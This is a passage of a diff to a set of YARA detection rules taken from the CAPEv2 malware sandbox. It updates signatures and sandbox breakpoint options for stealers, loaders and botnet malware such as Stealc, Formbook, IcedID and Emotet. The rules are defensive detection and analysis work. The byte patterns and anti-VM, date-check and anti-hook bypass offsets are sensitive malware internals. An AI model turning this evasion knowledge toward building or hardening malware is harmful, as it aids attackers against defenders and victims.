"https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/AuraStealer.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "ae174c96c262b1734c58bd6c5f7112221b08596c180612e4970acada35dbd070" + score = 75 + quality = 70 + tags = "" + cape_options = "bp0=$antivm1+3,action0=skip,count=0" + packed = "a9c47f10d5eb77d7d6b356be00b4814a7c1e5bb75739b464beb6ea03fc36cc85" + + strings: + $antivm1 = {39 04 11 0f 94 C3 8B 44 ?? ?? 85 C0} + $conf = {8D BE ?? 00 00 00 68 00 40 00 00 5? 5? FF D1 83 C4 ?? 8B 07 8B 57 04 29 C2} + $keyexpansion = {31 C0 8A 1C 82 88 1C 81 8A 5C 82 01 88 5C 81 01 8A 5C 82 02 88 5C 81 02 8A 5C 82 03 88 5C 81 03 4? 83 F8 08 75 ?? B? 08 00 00 00} + + condition: + all of them +} +rule CAPE_Stealcanti : FILE +{ + meta: + description = "Stealc detonation bypass" author = "kevoreilly" - id = "7c6f167a-6b76-5509-b164-306d1cd19b0f" - date = "2024-02-26" - modified = "2024-02-26" + id = "32e5c1cf-ef57-58eb-9deb-fab0064cc676" + date = "2023-02-22" + modified = "2025-09-01" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Latrodectus.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "378d220bc863a527c2bca204daba36f10358e058df49ef088f8b1045604d9d05" - logic_hash = "c2c9f23e287253d766425c05eb774f6e07bdcbabc259e04b723a1a87c8b91fbd" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Stealc.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d" + logic_hash = "4132e8094b0b49a89e9f40a8b1a6abbf105bbb04e4ddf3ce739e39fc2baf0d13" score = 75 quality = 70 tags = "FILE" - cape_options = "export=$export" + cape_options = "bp0=$anti+17,action0=skip,count=1" strings: - $export = {48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 56 48 83 EC 30 4C 8B 05 [4] 33 D2 C7 40 [5] 88 50 ?? 49 63 40 3C 42 8B 8C 00 88 00 00 00 85 C9 0F 84} + $anti = {53 57 57 57 FF 15 [4] 8B F0 74 03 75 01 B8 E8 [4] 74 03 75 01 B8} + $decode = {6A 03 33 D2 8B F8 59 F7 F1 8B C7 85 D2 74 04 2B C2 03 C1 6A 06 C1 E0 03 33 D2 59 F7 F1} condition: uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Dridexloader : FILE +rule CAPE_Stealcstrings : FILE { meta: - description = "DridexLoader API Spam Bypass" + description = "Stealc string decryption" author = "kevoreilly" - id = "a8b62f64-87a0-58d3-8876-9b0f6a7deb97" - date = "2021-03-09" - modified = "2021-03-09" + id = "087b5532-e1e7-5df9-adb2-bf758c8ba352" + date = "2023-02-22" + modified = "2025-09-01" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/DridexLoader.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "00a3e4e80a2558ee52035f091e2339fa2dad6f6515b9dc099f2f3800e4c70bce" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Stealc.yar#L15-L26" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6d402446a979c00b6257ace9924db381d98c530b22968bd2776c66d58c7faefc" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$trap-13,action0=ret,count=0" + cape_options = "bp0=$decode+17,action0=string:edx,count=0,typestring=Stealc Strings" + packed = "d0c824e886f14b8c411940a07dc133012b9eed74901b156233ac4cac23378add" strings: - $trap = {6A 50 6A 14 6A 03 5A 8D 4C 24 ?? E8 [4] 68 [4] 68 [4] E8 [4] 85 C0 74 05} + $decode = {51 8B 15 [4] 52 8B 45 ?? 50 E8 [4] 83 C4 0C 6A 04 6A 00 8D 4D ?? 51 FF 15 [4] 83 C4 0C 8B 45 ?? 8B E5 5D C3} condition: - uint16( 0 ) == 0x5A4D and $trap + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Bruteratelsyscall +rule CAPE_Stealcv2Strings : FILE { meta: - description = "BruteRatel Syscall Bypass" + description = "StealcV2 string decryption" author = "kevoreilly" - id = "0ddc3e0a-c4ca-5342-b029-107ce1f2751e" - date = "2024-07-11" - modified = "2024-07-22" + id = "d99fcc9c-35cc-5494-a0cd-738f3ae8d367" + date = "2023-02-22" + modified = "2025-09-01" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/BruteRatel.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "5ed054b3cd5d2659c250945d55d6adac90945963c34ad2af0f8d7436141e86b6" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Stealc.yar#L28-L43" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "923f70edb3ad70957576994008729bf7a087479eed1973c42161aa96fa694baa" score = 75 quality = 70 - tags = "" - cape_options = "sysbp=$syscall1+6,sysbp=$syscall2+8" + tags = "FILE" + cape_options = "bp0=$decode32*,action0=string:[esp],bp1=$decode64,action1=string:eax,bp2=$dump,action2=dumpstrings,count=0,typestring=Stealc Strings" + packed = "2f42dcf05dd87e6352491ff9d4ea3dc3f854df53d548a8da0c323be42df797b6" + packed = "8301936f439f43579cffe98e11e3224051e2fb890ffe9df680bbbd8db0729387" strings: - $syscall1 = {49 89 CA 4? 89 ?? (41 FF|FF)} - $syscall2 = {49 89 CA 48 8B 44 24 ?? FF 64 24} + $decode32 = {AB AB AB AB 8B 45 0C 89 4E 10 89 4E 14 39 45 08 75 0B C7 46 14 0F 00 00 00 88 0E EB 0F 2B 45 08 50 51 FF 75 ?? 8B} + $decode64 = {40 53 48 83 EC 20 48 8B 19 48 85 DB 74 ?? 48 8B 53 18 48 83 FA 0F 76 2C 48 8B 0B 48 FF C2 48 81 FA 00 10 00 00 72} + $dump32 = {33 C0 89 46 30 88 46 34 89 46 38 89 46 3C 89 46 40 89 46 44 89 46 48 89 46 4C 89 46 50 89 46 54 89 46 58 8B C6 5F 5E C3} + $dump64 = {48 8B C7 89 6F 40 40 88 6F 44 48 89 6F 48 48 89 6F 50 48 89 6F 58 48 89 6F 60 48 89 6F 68 48 89 6F 70 48 89 6F 78 48 89} condition: - all of them + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Bruteratelpacker +rule CAPE_Stealcv2Datecheck : FILE { meta: - description = "BruteRatel Outer Encryption Layer" + description = "StealcV2 date check bypass" author = "kevoreilly" - id = "631083be-7058-590a-a394-984545f42ad7" - date = "2024-07-11" - modified = "2024-07-22" + id = "4969d005-3532-5b75-9fa9-10e09bab338e" + date = "2023-02-22" + modified = "2025-09-01" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/BruteRatel.yar#L14-L26" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "2ccb17efe378d034df34d20d7580c58171d0fd11c18fef6c9a23f1ba238514e6" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Stealc.yar#L45-L56" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "f074aceb7c111156752891acac8690c00dad7c26240fb0752cc12a9a65aa3d30" score = 75 quality = 70 - tags = "" - cape_options = "bp1=$outer*,action1=scan,count=0" + tags = "FILE" + cape_options = "patch=$date32*-1:B000,patch=$date64*-2:B00090" strings: - $outer = {83 45 F8 01 81 7D F8 FF 00 00 00 7E ?? 83 45 FC 01 8B 45 FC 3B 45 ?? 7E ?? 48} - $inner = {88 E3 32 1C 0E 88 5C 15 00 48 8D 49 01 48 8D 52 01 38 C1 76 ?? 48 01 CE EB ?? FF} - $date = {48 8B 17 48 85 D2 0F 85 [2] 00 00 8B 47 08 85 C0 0F 85 [2] 00 00} + $date32 = {F3 A5 8D 45 ?? 50 E8 [4] 59 8B F8 8B F2 8D 45 ?? 50 E8 [4] 59 3B F2 7C 08 7F 04 3B F8 76 02 B3 01 8A C3} + $date64 = {0F 11 44 [2] 0F 11 8C [2] 00 00 00 89 8C [2] 00 00 00 48 8D 4C [2] E8 [4] 48 8B D8 48 8D 4C [2] E8 [4] 48 3B D8 0F 9F C0} condition: - ($outer ) and not ( $inner ) and not ( $date ) + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Bruterateldate +rule CAPE_Formhooka { meta: - description = "BruteRatel Date Check Bypass" + description = "Formbook Anti-hook Bypass" author = "kevoreilly" - id = "94dd5cf3-ed59-51d6-92c8-aee73fe2926b" - date = "2024-07-11" - modified = "2024-07-22" + id = "6369de74-99eb-57ae-a315-c15f22effc73" + date = "2021-03-07" + modified = "2025-12-08" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/BruteRatel.yar#L28-L39" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "88589b2d08aea03565668ff1b9af20b6fe11cda50d867c60db7cb4d1826b0fd7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Formbook.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "21b8101a7039cfad0e9d49cc1f055bc23a2eb4c973dcda2a81a007e452d77a6d" score = 75 quality = 70 tags = "" - cape_options = "clear,bp1=$inner*,action1=scan,bp2=$date+6,action2=skip,count=0" + cape_options = "clear,bp0=$remap_ntdll_0,action0=setedx:ntdll,count0=1,bp1=$remap_ntdll_1,action1=setdst:ntdll,count1=1" + packed = "9e38c0c3c516583da526016c4c6a671c53333d3d156562717db79eac63587522" + packed = "b8e44f4a0d92297c5bb5b217c121f0d032850b38749044face2b0014e789adfb" strings: - $inner = {88 E3 32 1C 0E 88 5C 15 00 48 8D 49 01 48 8D 52 01 38 C1 76 ?? 48 01 CE EB ?? FF} - $date = {48 8B 17 48 85 D2 0F 85 [2] 00 00 8B 47 08 85 C0 0F 85 [2] 00 00} + $remap_ntdll_0 = {33 56 04 8D 86 [2] 00 00 68 F0 00 00 00 50 89 56 ?? E8 [4] 8B [1-5] 6A 00 6A 04 8D 4D ?? 51 6A 07 52 56 E8 [4] 8B 45 ?? 83 C4 20 3B} + $remap_ntdll_1 = {33 56 0C 8D 86 [2] 00 00 68 F0 00 00 00 50 89 56 ?? E8 [4] 8B [1-5] 6A 00 6A 04 8D 4D ?? 51 6A 07 52 56 E8 [4] 8B 45 ?? 83 C4 20 3B} condition: any of them } -rule CAPE_Bruteratelconfig +rule CAPE_Formconfa { meta: - description = "BruteRatel Config Extraction" + description = "Formbook Config Extraction" author = "kevoreilly" - id = "5ae680b0-5ad2-5e82-87f8-b0af4fec18de" - date = "2024-07-11" - modified = "2024-07-22" + id = "f9c3fc92-e2c8-5968-b0f4-80bd8199b7ca" + date = "2021-03-07" + modified = "2025-12-08" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/BruteRatel.yar#L41-L51" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "b1815aafec940ab6c8daafc68ccf294845221ada260de5209dcb7e49ccd061c7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Formbook.yar#L32-L44" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "b0aa4cec55a21245d8104380c531dd6cc0fdef64fbefd79616eadfb4e95b2d75" score = 75 quality = 70 tags = "" - cape_options = "clear,br1=$decode,count=0,action0=string:eax,typestring=BruteRatel Config" + cape_options = "clear,bp0=$c2,action0=string:rcx+1,bp1=$decoy+67,action1=string:rcx+1,count=0,typestring=Formbook Config" + packed = "b8e44f4a0d92297c5bb5b217c121f0d032850b38749044face2b0014e789adfb" strings: - $decode = {55 57 56 53 48 83 EC ?? 31 C0 48 89 CB 48 89 D7 44 89 C6 44 89 CD 44 39 01 77 ?? 41 8D 48 01 E8 [4] 31 C9} + $c2 = {44 8B C6 48 8B D3 49 8B CE E8 [4] 44 88 23 41 8B DD 48 8D [2] 66 66 66 0F 1F 84 00 00 00 00 00 BA 8D 00 00 00 41 FF C4} + $decoy = {8B D7 0F 1F 44 00 00 0F B6 03 FF C0 48 98 48 03 D8 48 FF CA 75 ?? 44 0F B6 03 48 8D 53 01 48 8D 4C [2] E8} condition: all of them } -rule CAPE_Themida : FILE +rule CAPE_Formhelper { meta: - description = "Themida detonation shim" + description = "Formbook Config Extraction" author = "kevoreilly" - id = "cd5c8b08-4864-57f7-b218-1bcb6892bea8" - date = "2024-09-10" - modified = "2024-09-11" + id = "88ff1354-1ae7-5380-a586-ef95212d59df" + date = "2021-03-07" + modified = "2025-12-08" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Themida.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "c4f1e01a3fe3cb66062ce03253bfe9edc09dc6f1a77db99b281106e8ceff9257" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Formbook.yar#L46-L58" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "77cdfc94aac089c4f2590f4afbab35351fc6e104e67813548c68c59d27019a63" score = 75 quality = 70 - tags = "FILE" - cape_options = "unhook-apis=NtSetInformationThread,force-sleepskip=0" - packed = "6337ff4cf413f56cc6c9a8e67f24b8d7f94f620eae06ac9f0b113b5ba82ea176" + tags = "" + cape_options = "clear,bp2=$config,action2=scan,count=0" + packed = "0270016f451f9ba630f2ea4e2ea006fb89356627835b560bb2f4551a735ba0e1" strings: - $code = {FC 31 C9 49 89 CA 31 C0 31 DB AC 30 C8 88 E9 88 D5 88 F2 B6 08 66 D1 EB 66 D1 D8 73 09} + $config = {40 55 53 56 57 41 54 41 55 41 56 41 57 48 8D AC 24 [4] 48 81 EC [2] 00 00 45 33 ?? 33 C0 4C 8B E9 4C 89} + $decode = {66 66 66 66 0F 1F 84 00 00 00 00 00 0F B6 41 01 48 FF C9 28 41 01 49 FF C9} condition: - uint16( 0 ) == 0x5A4D and all of them + all of them } -rule CAPE_Amatera : FILE +rule CAPE_Formconfb { meta: - description = "Amatera syscall capture" + description = "Formbook Config Extraction" author = "kevoreilly" - id = "0d58a054-8636-58d8-99b9-26560aa6c187" - date = "2025-06-25" - modified = "2025-06-25" + id = "46d78206-578b-5e12-b466-cd81610a5008" + date = "2021-03-07" + modified = "2025-12-08" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Amatera.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "35eb93548a0c037d392f870c05e0e9fb1aeff3a5a505e1d4a087f7465ed1f6af" - logic_hash = "1c02f04846568b85acbd4101b2e944dc824179f7cff1bceaec1c657939b610d5" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Formbook.yar#L60-L75" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "d21596f25daea284790984b4ea0ba9c2764b94832791f43f9bb582085eaf6492" score = 75 quality = 70 - tags = "FILE" - cape_options = "sysbp=$sysenter" + tags = "" + cape_options = "clear,bp0=$c2_1,bp0=$c2_2,action0=string:rcx,bp1=$decoy,action1=string:rdi,bp2=$config,action2=scan,bp3=$sleep+5,action3=skip,count=0,typestring=Formbook Config" + packed = "60571b2683e7b753a77029ebe9b5e1cb9f3fbfa8d6a43e4b7239eefd13141ae4" strings: - $sysenter = {64 FF 15 C0 00 00 00 C3} - $harness = {0F B7 55 EC 52 E8 [4] 83 C4 04 C7 45 F0 [4] 8B 45 ?? 50 [0-40] FF 55 F0 83 C4 ?? 8B E5 5D C3} - $socket = {66 89 [2] 6A 00 6A ?? 8D [3] 68 (03|07) 20 01 00 8B 4D F8 E8 [4] 0F B6 (C0|C8) 85 (C0|C9) 75 04 32 C0 EB} + $c2_1 = {44 0F B6 5D ?? 45 84 DB 74 ?? 48 8D 4D [1-5] 41 80 FB 2F 74 11 0F B6 41 01 48 FF C1 FF C3 44 0F B6 D8 84 C0 75} + $c2_2 = {40 53 48 83 EC 20 48 8B DA 48 85 C9 74 28 80 39 00 74 23 48 85 D2 74 1E 48 8B D1 41 B8 04 00 00 00 48 8B CB E8} + $decoy = {44 8D 1C 33 [0-13] 48 8D 7D [1-5] 42 C6 44 [2] 00 [0-4] 48 8B CF E8} + $config = {40 55 53 56 57 41 54 41 55 41 56 41 57 48 8D AC 24 [4] 48 81 EC [2] 00 00 45 33 F6 33 C0 4C 8B E9 4C 89 75} + $sleep = {B9 88 13 00 00 FF D7 44 8B 9B [4] 41 81 FB 00 01 00 00 75 ?? 48 39 B3 [4] 74 ?? 8B 83 [4] 05 00 20 00 00 39 B0} condition: - uint16( 0 ) == 0x5A4D and all of them + 2 of them } -rule CAPE_Cargobayloader : FILE +rule CAPE_Emotetpacker : FILE { meta: - description = "CargoBayLoader anti-vm bypass" + description = "Emotet bypass" author = "kevoreilly" - id = "5b347863-0bea-55d2-aaf3-b3d6e604be89" - date = "2023-02-20" - modified = "2023-02-20" + id = "67b8e14c-5fa8-52af-bb9a-1663b084fbf0" + date = "2022-03-31" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/CargoBayLoader.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "75e975031371741498c5ba310882258c23b39310bd258239277708382bdbee9c" - logic_hash = "1d5c4ca79f97e1fac358189a8c6530be12506974fc2fb42f63b0b621536a45c9" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/EmotetPacker.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "5a95d1d87ce69881b58a0e3aafc1929861e2633cdd960021d7b23e2a36409e0d" + logic_hash = "5f27d9d18884f7e0805f69960869b332c1577bf8be8ac103285e8bf98cda0ffd" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$jmp1+4,action0=skip,bp1=$jmp2+2,action1=skip,count=1,force-sleepskip=1" + cape_options = "bp0=$trap1+31,action0=skip,bp1=$trap2+43,action1=jmp:186,count=1" strings: - $jmp1 = {40 42 0F 00 0F 82 [2] 00 00 48 8D 15 [4] BF 04 00 00 00 41 B8 04 00 00 00 4C 8D [3] 4C 89 F1 E8} - $jmp2 = {84 DB 0F 85 [2] 00 00 48 8D 15 [4] 41 BE 03 00 00 00 41 B8 03 00 00 00 4C 8D 7C [2] 4C 89 F9 E8} + $trap1 = {8B 45 08 0F 28 0D [4] 0F 57 C0 0F 29 46 30 89 46 40 C7 46 44 00 00 00 00 0F 11 4E 48 E8} + $trap2 = {F2 0F 10 15 [4] BE 01 00 00 00 0F 01 F9 C7 44 24 60 00 00 00 00 89 4C 24 60 0F 01 F9 C7 44 24 5C 00 00 00 00 89 4C 24 5C 0F 1F 84 00 00 00 00 00} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and any of ( $trap* ) } -rule CAPE_Socks5Systemz : FILE +rule CAPE_Icedidsyscallwritemem : FILE { meta: - description = "Socks5Systemz config extraction" + description = "IcedID 'syscall' packer bypass - direct write variant" author = "kevoreilly" - id = "ef14953a-2b48-54f4-8d15-c07c7459103e" - date = "2024-05-22" - modified = "2025-05-23" + id = "67935058-4191-587f-ad19-497defd0eef1" + date = "2021-03-30" + modified = "2023-11-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Socks5Systemz.yar#L1-L19" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "7e324bacd1ea57585435b6a5a4c93bda63ca146c100f2361a1c5530b87668299" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/IcedID.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6b068106b038e9efeb9057cadf314d400c1ada1a1cc70336d3272da3a212c993" score = 75 quality = 70 tags = "FILE" - cape_options = "br0=user32::wsprintfA,br1=ntdll::sprintf,action2=string:[esp],action3=string:[esp],count=0,typestring=Socks5Systemz Config" - packed = "9b997d0de3fe83091726919a0dc653e22f8f8b20b1bb7d0b8485652e88396f29" + cape_options = "bp0=$tokencheck+9,action0=jmp,count=0" + packed = "28075ecae5e224c06e250f2c949c826b81844bca421e9158a7a9e965a29ef894" + packed = "045dff9f14a03225df55997cb2ca74ff60ecaf317b9e033ea93386785db84161" strings: - $chunk1 = {0F B6 84 8A [4] E9 [3] (00|FF)} - $chunk2 = {0F B6 04 8D [4] E9 [3] (00|FF)} - $chunk3 = {66 0F 6F 05 [4] E9 [3] (00|FF)} - $chunk4 = {F0 0F B1 95 [4] E9 [3] (00|FF)} - $chunk5 = {83 FA 04 E9 [3] (00|FF)} - $chunk6 = {8A 04 8D [4] E9 [3] (00|FF)} - $chunk7 = {83 C4 04 83 C4 04 E9} - $chunk8 = {83 C2 04 87 14 24 5C E9} + $tokencheck = {39 5D ?? 75 06 83 7D ?? 03 74 05 BB 01 00 00 00 41 89 1C ?? 48 8B 4D ?? 41 FF D?} condition: - uint16( 0 ) == 0x5A4D and 5 of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Ursnifv3 +rule CAPE_Icedidhook { meta: - description = "Ursnif Config Extraction" + description = "IcedID hook fix" author = "kevoreilly" - id = "4170b638-e51b-59c6-956a-50ff82f629ba" - date = "2021-06-17" - modified = "2023-03-23" + id = "011c9cb7-8080-5f8a-9dca-6397e9bf7bf6" + date = "2021-03-30" + modified = "2023-11-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/UrsnifV3.yar#L1-L16" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "d679546e37ee58087fce75920b2ce4e6d2b9ae55fb1ef80d14ec14309396757c" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/IcedID.yar#L15-L25" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "fd62e0ed6f2a18472fa9336daee0e8a3a55e21779a8385394e85f96da928e24f" score = 75 quality = 70 tags = "" - cape_options = "br0=$crypto32_1-48,action1=dump:ebx::eax,bp2=$crypto32_3+50,action2=dump:ebx::eax,bp3=$crypto32_4+11,action3=dump:eax::ecx,typestring=UrsnifV3 Config,count=1" - packed = "75827be0c600f93d0d23d4b8239f56eb8c7dc4ab6064ad0b79e6695157816988" - packed = "5d6f1484f6571282790d64821429eeeadee71ba6b6d566088f58370634d2c579" + cape_options = "ntdll-protect=0" strings: - $crypto32_1 = {8B C3 83 EB 01 85 C0 75 0D 0F B6 16 83 C6 01 89 74 24 14 8D 58 07 8B C2 C1 E8 07 83 E0 01 03 D2 85 C0 0F 84 AB 01 00 00 8B C3 83 EB 01 85 C0 89 5C 24 20 75 13 0F B6 16 83 C6 01 BB 07 00 00 00} - $crypto32_3 = {F6 46 03 02 75 5? 8B 46 10 40 50 E8 [4] 8B D8 89 5C 24 1C 85 DB 74 41 F6 46 03 01 74 53 8B 46 10 89 44 24 1C 8B 46 0C 53 03 C7 E8 [4] 59} - $crypto32_4 = {C7 44 24 10 01 00 00 00 8B 4E 10 C6 04 08 00 8B 4D ?? 89 01 8B 46 ?? 8B 4D ?? 89 01 8B 44 24 10 5F 5E 5B 8B E5 5D C2 0C 00} - $cpuid = {8B C4 FF 18 8B F0 33 C0 0F A2 66 8C D8 66 8E D0 8B E5 8B C6 5E 5B 5D C3} + $hook = {C6 06 E9 83 E8 05 89 46 01 8D 45 ?? 50 FF 75 ?? 6A 05 56 6A FF E8 2D FA FF FF} condition: - any of ( $crypto32* ) and $cpuid + any of them } -rule CAPE_Qakbot5 : FILE +rule CAPE_Icedidpackera : FILE { meta: - description = "QakBot WMI anti-anti-vm" + description = "IcedID export selection" author = "kevoreilly" - id = "d287b043-15df-5865-ad4c-9eb64ceec04c" - date = "2022-03-16" - modified = "2024-02-16" + id = "d793d8a1-0e17-56ad-933c-470e2290867b" + date = "2021-03-30" + modified = "2023-11-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/QakBot.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "303ea2d8d1a7f0fd0ca5508dae2c1b83c03b1e3e975760f15d36d93bcc152767" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/IcedID.yar#L27-L40" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "fbad60002286599ca06d0ecb3624740efbf13ee5fda545341b3e0bf4d5348cfe" + logic_hash = "aa0681e7794546355e6d61f739c49035a493cdfca7e666531d74e3835ec44408" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$loop+35,action0=skip,count=0" - packed = "f4bb0089dcf3629b1570fda839ef2f06c29cbf846c5134755d22d419015c8bd2" + cape_options = "export=$export" strings: - $loop = {8B 75 ?? 48 8B 4C [2] FF 15 [4] 48 8B 4C [2] 48 8B 01 FF 50 ?? 8B DE 48 8B 4C [2] 48 85 C9 0F 85 [4] EB 4E} - $conf = {0F B7 1D [4] B9 [2] 00 00 E8 [4] 8B D3 48 89 45 ?? 45 33 C9 48 8D 0D [4] 4C 8B C0 48 8B F8 E8} + $init = "init" + $export = {48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 81 EC [2] 00 00 41 8B E9 49 8B F0 48 8B FA 48 8B D9} + $alloc = {8B 50 50 33 C9 44 8D 49 40 41 B8 00 30 00 00 FF 15 [4] 48 89 44 24 28 [0-3] 48 89 84 24 ?? 00 00 00 E9} condition: - uint16( 0 ) == 0x5A4D and any of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Qakbot4 : FILE +rule CAPE_Icedidpackerb : FILE { meta: - description = "QakBot Config Extraction" + description = "IcedID export selection" author = "kevoreilly" - id = "401184cf-bbd7-5afe-9589-470f54721af1" - date = "2022-03-16" - modified = "2024-02-16" + id = 